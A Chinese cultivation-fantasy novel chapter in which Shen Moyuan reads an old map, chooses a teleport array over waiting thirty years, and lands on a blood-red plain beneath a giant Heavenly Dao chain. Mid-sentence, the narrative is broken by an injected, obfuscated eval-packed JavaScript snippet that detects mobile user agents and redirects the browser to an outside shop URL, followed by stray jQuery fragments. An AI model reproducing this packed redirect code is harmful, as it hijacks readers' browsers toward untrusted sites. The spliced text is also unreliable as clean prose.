沈墨渊握着那柄枪,站了很久。
枪身冰凉,凉意顺着掌纹往骨头里钻,但他没松手。右臂深处那股微弱的感应还在,像一根细细的线,把他的血和枪身连在一起,时不时跳一下,似乎在确认他还活着。
他深吸一口气,把枪扛在肩上,仰头打量这间石室。
石室不大,四壁粗糙,似乎被人用拳头硬生生砸出来的。墙角堆着几块碎石,地面上散落着一些灰白色的粉末——那是骸骨化尽后留下的。除了这些,就只有正中间那个石台了。
石台很矮,只到他的膝盖,台面磨得光滑发亮,像被人摸过无数次。
沈墨渊走过去,蹲下来。
石台上放着一卷东西,被一层薄薄的灰覆盖着,看不清楚是什么。他用手指拂开灰,露出一张泛黄的兽皮——不是纸,是真正的兽皮,表面还带着细密的纹路,像某种妖兽的皮鞣制而成的。
兽皮卷得紧紧的,用一根黑色的绳子系着。
沈墨渊放下枪,抬手拿起那卷兽皮。
绳子已经朽了,他一拉就断了。兽皮在他手中展开,发出一阵干燥的沙沙声——太久没人碰过,连空气都在抗议。
他愣住了。
这是一幅地图。
不是普通的路线图,画的是空间裂缝内部的节点布局。每一条线都弯弯曲曲的,像水流一样交错,标注着密密麻麻的小字。他认得这种字体——笔锋凌厉,带着一股杀伐之气,和他在石碑上看到的刻字一模一样。
“又是他写的……”沈墨渊低声说。
“嗯。”那个嗓音在脑海中响起,语气有些复杂,“那家伙跟你一样,是个话少的。”
沈墨渊没接话,眼神顺着地图上的线条往下走。
地图的中央,画着一个红色的圆点——那是他所在的位置,石室的位置。红色圆点连出去的线条有七条,每一条都通往不同的方向。其中六条线条的尽头画着一个叉,被废弃的出口。唯独剩下一条线,线条一直延伸到地图的边缘,尽头画着一个黑色的三角形,三角形的下方压着一行小字。
沈墨渊凑近了些。
“传送阵——葬灵渊第六层。”
他念出声。
念完之后,沉默了。
葬灵渊第六层。
他听木青萝提过。那是整个葬灵渊最危险的地方,连五大宗门的长老都不敢踏足。传说那里是天道规则最密集的区域,灵气混乱得像沸腾的油锅,修为不够的人进去就会被空间之力撕碎。
器灵的话响起来:“第六层……那地方不太好走。”
沈墨渊没吭声,继续看地图上的小字。
那行字很小,但写得极用力,好像要把字刻进兽皮里。他一个字一个字地读:
“葬灵渊第六层,天道锁链的核心,破厄诀最终篇章的所在地。”
他呼吸凝住了。
“若你能活着出来便有资格与天道一战。”
与天道一战。
沈墨渊盯着这几个字,手指在兽皮上来回摩挲。他忽然觉得这卷兽皮很沉,沉得像握着一块铅。
“还有一行字。”器灵的忽然说,“地图背面。”
沈墨渊翻过兽皮。
背面的字更小,更潦草,似乎匆忙间写下的:
“石室是避难所。留给下一个走投无路的废灵根。这里很安全,你可以待在这里,等空间裂缝稳定了再出去。裂缝每三十年闭合一次,闭合时会出现短暂的出口,通往苍玄大陆的随机位置。”
沈墨渊翻回正面,看了看地图上那六条画着叉的线条。
“那六条线,就是出口?”
“应该是。”器灵说,“但都废了。”
沈墨渊看着地图上唯一剩下的那条路那条通往葬灵渊第六层的传送阵。
他没说话。
器灵也没说话。
石室安静下来,只有墙角碎石偶尔滑落的声响,像石室自己在呼吸。
沈墨渊盘腿坐在地上,把地图摊在膝盖上,盯着那行字看了很久。他的眼神在那几个关键词上来回逡巡“天道锁链”“破厄诀最终篇章”“有资格与天道一战”。
他右手拇指不自觉地摩挲着左手腕内侧的印记。
微热。
“你在想什么?”器灵问。
“想怎么选。”
“有两条路。”器灵的话沉了沉,“第一条,待在这里,等裂缝闭合,然后出去。你功法已经突破,金丹也凝聚了,出去后找个地方好好修炼,慢慢找葬灵渊的入口,从外围一层层打进去。稳妥,安全。”
沈墨渊点了下头。
“第二条,走传送阵,直接进葬灵渊第六层。大概率死,小概率活。”
“活下来呢?”
“活下来就能拿到那家伙留下的完整传承。破厄诀最终篇章,还有他对抗天道的全部感悟。有了这些……”器灵顿了顿,“你就有资格跟天道掰手腕。”
沈墨渊把地图折起来,塞进怀里。
他站起来,拍了拍膝盖上的土。
然后他走向石室最里侧的那面墙——地图上标注传送阵的位置。
墙面上刻着一圈符文,和他之前在石碑上看到的那种一模一样。符文沿着墙面排布成一个圆,圆心处略微凹陷,好像需要什么东西来激活。
沈墨渊摸了摸那些符文。
粗粝,冰凉。
他回头看了一眼那个石台——那块放着地图的石台。骸骨曾经蜷缩在石台旁边,手里握着那杆枪,好像在等待一个人来继承。
“他等了多久?”沈墨渊忽然问。
“谁?”
“那个人。留下地图和枪的人。”
器灵沉默了一会儿。
“我不知道。但我认识他的时候,他已经是个老头了。肉身毁了,只剩一缕残魂吊着命。他把所有东西都留在这里,然后坐在石台边上,等着有人来。”
“等到死了?”
“等到死了。”
沈墨渊没再问了。
他把破厄枪横在身前,右手握紧枪身。右臂深处那股感应忽然亮了一下,在回应他。
他,看着墙上的符文。
“走传送阵。”他说。
器灵没说话。
“你不劝我?”沈墨渊问。
“劝你什么?劝你等三十年?”
沈墨渊稍稍摇了下头:“我父亲等不了那么久。”
器灵没有再劝。他知道沈墨渊的性子——倔得像头牛,认准的事,九头牛都拉不回来。
“万一传送阵不稳,空间之力把你撕成碎片了怎么办?”
沈墨渊把枪往地上一拄,枪身发出沉闷的响声。他看着墙上的符文,咧嘴笑了一下,那个笑容里有种说不出的东西——不是疯,不是不怕,是一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692889|204904||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
种已经把所有可能都想过了之后,依然决定走下去的坦然。
“困在这里等死,跟死在葬灵渊第六层,有什么区别?”
器灵沉默了一会儿,忽然笑了。
“有个屁区别。”
“那不就结了。”
沈墨渊走到墙面前,左手按在符文中央那个凹陷处。灵气从他涌出,顺着符文流动。符文开始发光——先是暗红色,然后变成金色,像被点燃的纹路。
地面震动起来。
石室的墙壁开始抖动,灰尘簌簌往下落。那些符文越来越亮,刺得沈墨渊眯起眼睛。他感觉到脚下的石砖在往下陷,像整个房间都在下沉。
“站稳了。”器灵说,“传送阵要启动了。”
沈墨渊握紧破厄枪,深吸一口气。
金光从符文中心炸开。
那一,他感觉到自己的身体被一股巨大的力量往上提,像有人从头顶把他往外拽。空间在他身边扭曲,空气变得粘稠,他几乎喘不上气。耳边全是风声,尖啸的风声,像有千百个人在哭喊。
“沈墨渊!”器灵的嗓音炸雷一样响在脑海里,“稳住心神!”
他咬紧牙,把所有灵气都集中在丹田。
身体被撕裂的痛感从四肢传来,似乎每一根骨头都在被拉长,每一寸皮肤都在被撕开。他感觉自己的意识开始模糊,人影在他眼中扭曲,世界变成了一条条乱窜的线。
然后一切停了。
他摔在地上。
后背撞上什么东西,硬邦邦的,像石头。他的后背传来一阵钝痛,牙关酸涩,他睁开眼,看到一片血红的天穹。
天是红的。
不是晚霞那种红,是血色那种红。浓得化不开,像有什么东西在天空上流了太久的血,干了,留下暗红色的痕迹。
沈墨渊撑着地面的手用力一按,翻了个身,从地上爬起来。
脚下是黑色的土壤。
土很松,踩上去软绵绵的,像踩在一层腐烂的肉上。空气中弥漫着浓郁的血腥味,不是新鲜的,是那种放了很久很久的血,已经开始发臭了。
他环顾四周。
荒芜。
什么都没有。
没有山,没有水,没有树,没有任何活着的东西。放眼望去,只有一片黑色的平原,地面起伏不平,像被什么东西犁过。
沈墨渊仰头,看到远处的东西,瞳孔收缩。
一根巨大的金色锁链。
从天空中垂下来,斜斜地贯穿地面,一头扎进远处的黑土里,另一头消失在天际尽头的血云中。锁链很粗,粗到需要十几个人合抱才能围住,表面密密麻麻地缠满了符文。
那些符文在发光。
金色的光,像心脏一样一明一暗地闪烁。
每一根符文都似乎在呼吸。
器灵的嗓音在脑海中响起,语气变得前所未有的凝重:
“天道锁链。”
沈墨渊握紧了破厄枪。
“这里……”器灵的话停顿了一下,“这里就是镇压那位上古修士的地方。”
沈墨渊看着那根锁链,忽然觉得枪身在震动——不是他握紧的,是枪自己在震动。
像在回应什么。
他的右臂深处,那消失的黑色纹路再一次亮起微光。
不亮,但一直在闪。
像在说
到了。